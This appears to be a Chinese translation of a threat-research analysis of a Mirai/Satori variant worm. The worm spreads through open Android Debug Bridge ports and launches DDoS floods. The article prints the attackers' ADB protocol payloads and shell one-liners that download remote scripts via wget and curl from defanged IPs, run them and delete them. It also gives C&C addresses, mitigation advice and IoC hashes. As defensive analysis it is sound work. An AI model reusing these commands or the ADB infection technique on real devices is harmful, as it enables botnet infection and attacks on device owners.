导语:对于许多物联网用户来说,利用设备上的开放端口一直是一个持续存在的安全隐忧。特别是TCP端口5555在过去遇到过的一些问题,因为产品制造商会在发货之前将其打开,而这可能会使用户暴露在攻击者面前。
对于许多物联网用户来说,利用设备上的开放端口一直是一个持续存在的安全隐忧。特别是TCP端口5555在过去遇到过的一些问题,因为产品制造商会在发货之前将其打开,而这可能会使用户暴露在攻击者面前。
最近,趋势科技的研究人员在7月9日至10日和7月15日分别检测到出现的两个可疑峰值,经分析发现,攻击者使用了端口5555的新漏洞。在检测到的样本攻击中,该活动涉及名为Android Debug Bridge(ADB)的命令行实用程序,这是Android SDK的一部分,用于处理设备之间的通信,也允许开发人员在Android设备上运行和调试应用程序。趋势科技的研究人员的监测数据显示,第一波网络流量主要来自中国和美国,而第二波主要涉及韩国。
7月1日至7月15日TCP端口5555的活动量,注意7月9日和10日的峰值以及7月15日的第二次峰值
技术分析
根据趋势科技的研究人员对捕获的网络数据包的分析,他们确定恶意软件是通过扫描开放式ADB端口进行传播的。恶意软件通过ADB连接删除第1阶段shell脚本,以在目标系统上启动。此脚本负责下载第2阶段的shell脚本以及启动第3阶段二进制文件。恶意软件通过TCP端口5555上传有效载荷来攻击ADB:
“CNXN”,0,0,0,1,0,0×10,0,0,7,0,0,0,”2″,2,0,0,0xBC,0xB1,0xA7,0xB1,”host::”
一旦将其加载到设备中,有效载荷将从磁盘中删除自身,并使用随机选择的名称和附加的体系结构重命名恶意软件。
有效载荷将下载shell脚本,该脚本在执行以下代码段后被删除:
“OPENX”,2,0,0,0,0,0,0,0xF2,0x17,”J”,0,0,0xB0,0xAF,0xBA,0xB1,”shell:>/sdcard/Download/f && cd /sdcard/Download/; >/dev/f && cd /dev/; >/data/local/tmp/f && cd /data/local/tmp/; busybox wget hxxp://185[.]62[.]189[.]149/adbs -O -> adbs; sh adbs; curl hxxp://185[.]62[.]189[.]149/adbs2 > adbs2; sh adbs2; rm adbs adbs2″
7月9日发现的shell脚本如下所示:
cd /dev/; busybox wget hxxp://95[.]215[.]62[.]169/adbs -O -> adbs; sh adbs; rm adbs
7月9日活动中恶意载荷的ASCII和十六进制视图
相比之下,7月15日活动的有效载荷代替了原来的两个脚本:早期的“adbs”和一个名为“adbs2”的新脚本。和以前一样,它会在执行以下代码后删除自身:
cd /data/local/tmp/; busybox wget hxxp://185[.]62[.]189[.]149/adbs -O -> adbs; sh adbs; curl hxxp://185[.]62[.]189[.]149/adbs2 > adbs2; sh adbs2; rm adbs adbs2
7月15日活动中恶意载荷的ASCII和十六进制视图
脚本会同时下载几个体系结构的下一阶段二进制文件并启动相应的体系结构,虽然每个体系结构的目的都是一样的,但下载的方法的却不同。第一个使用curl,第二个使用在BusyBox中构建的wget。wget版本的一个样本如下所示:
通过wget下载的二进制代码
二进制文件首先会从文件系统中删除自己的二进制文件,然后它使用参数“yItDitb2HvayJvNc”检查自己的名字是否是“./.f”。如果是,它将使用主机名 “n[.]ukrainianhorseriding[.]com”,通过谷歌DNS服务器解析C&C服务器的地址。否则,它将使用硬连接的IP地址95[.]215[.]62[.]169,连接端口为7267。
然后二进制文件将关闭三个stdio stream并获得自己的IP地址,然后启动两个子进程。
第一个子进程负责扫描/proc/[pid]/映射系统上所有正在运行的进程的内存映射区域,以打开临时文件smi,xig或trinity。如果临时文件被打开,则相应的进程也会被停止。Trinity可能与Android系统模糊器(fuzzer)有关,而smi是属于CoinHive脚本的已知文件,该脚本在被劫持的亚马逊设备上挖掘门罗币。
第二个子进程负责将恶意软件作为蠕虫病毒传播,此时主要的二进制文件继续以二进制形式将前面提到的所有三个pid写入以下位置之一:
写入pid的位置
然后二进制文件打开与C&C服务器的连接:
与C&C服务器通信
然后,它会向C&C服务器发送一个特别精心设计的消息。消息的长度是71个字节,看起来如下:
“WWau14TJ8IapVXrrlFq0q5sxB”, “\x00 80 00 5A 00 57 00 C8 00 F0 00 1E 00 00” 和附加的架构字符串,即32字节数组中的“arm7”。
每六个通信周期,受害者都用一个6字节的序列(9、3、2、5、8、1)进行响应。
该有效载荷包含一个标头,其中包含要发送的目标数和IP数据包类型,标头后跟一个目标IPv4地址列表,这些目标IPv4地址由受感染主机修改并随机生成偏移量。接下来是等待连续和随机有效载荷长度之前的端口号和休眠时间。然后,恶意软件将带有随机生成的有效载荷的精心制作的IP数据包发送到获取的攻击列表,这可能是DDoS攻击的一部分。
精心制作的IP数据包包括以下内容:
· 随机产生的具有随机长度有效载荷的UDP;
· 随机产生的具有随机长度有效载荷的TCP SYN包;
· 随机产生的具有随机长度有效载荷的TCP ACK;
· 通过通用路由封装(GRE)隧道传输的随机有效载荷的UDP;
· 之后TCP SYN负责发送TCP ACK并确保TCP窗口大小,源端口,seq_number和IP标识与前一个会话一致,每个数据包之间有三秒钟的等待时间;
研究人员发现下载的二进制文件的有一个有趣的事情,就是C&C服务器95[.]215[.]62[.]169链接的是Mirai僵尸网络的Satori变体。深入研究活动中所涉及的两个IP地址的GeoIP信息,研究人员发现它们位于西班牙的95[.]215[.]62[.]169和荷兰的185[.]62[.]189[.]149。
我们有理由相信,这个恶意软件样本和Satori都是同一开发者,因为开发者使用了简单的XOR方法加密重要且可识别的字符串。有趣的是,与使用字节交换和Base62编码组合的旧样本相比,此Satori版本使用的复杂字符串加密方法较少。
使用XOR方法加密的字符串
解密后的字符串值可以在下图中看到:
如前所述,蠕虫的功能和其他潜在目标的寻找,意味着研究人员检测到的两个活动的峰值可能是另一个可造成更多伤害的攻击前奏。又或者,这两次的发现,仅仅是攻击者正在测试他们的工具和策略的有效性,以准备更大的攻击。
C&C域名信息显示与域rippr[.]cc上的另一个C&C服务器相同的注册电子邮件,该域已经关闭:
有关C&C域的信息
根据Shodan的数据,超过48000个物联网系统容易受到开放ADB的攻击。另外,并非所有易受攻击的系统都会暴露,因为它们通常隐藏在具有网络地址转换(NAT)的路由器后面,但是,由于配置错误,可以手动或通过UPnP NAT遍历访问它们。无论用户的密码强度如何,所有多媒体设备、智能电视、移动电话和其他没有额外保护的设备都是此Satori变体的攻击目标。
缓解方案
用户如果愿意更改移动设备的设置,可以进入设置,选择“开发人员选项”,并确保“ADB (USB)调试”和“来自未知来源的应用程序”被关闭。如果用户怀疑他们的设备已经被感染,进行设备重置就可以清除有效载荷。
一般来说,移动设备用户应该定期更新他们的设备到最新版本,这些更新不仅改进了他们的设备的功能,而且还解决了攻击者可以利用的漏洞。
IoCs
UNIX_MIRAI.DLDS样本
79d55852af173612562718544ecdc569b0b8e0094647d609040f8fcc67112cba
144e9093b50d7a0bf92ccc29dbbdab4955a8ef028ec2a4a64f2c16778fc0ba43
ELF_MIRAI.LBOUG样本
2815ab8fe6d48982540524c6ac55e1df3a77a2e90c32114fde05bdc3bb353bea
144e9093b50d7a0bf92ccc29dbbdab4955a8ef028ec2a4a64f2c16778fc0ba43
01eca0d68cc8c2d7ad6aa8021852b57a04b8a4ca7d13e164095b29fd06a1ed9f
4c3983040b2c72e4df9742c1314dcf8cd703805ab6aaa9185324b70fd530746e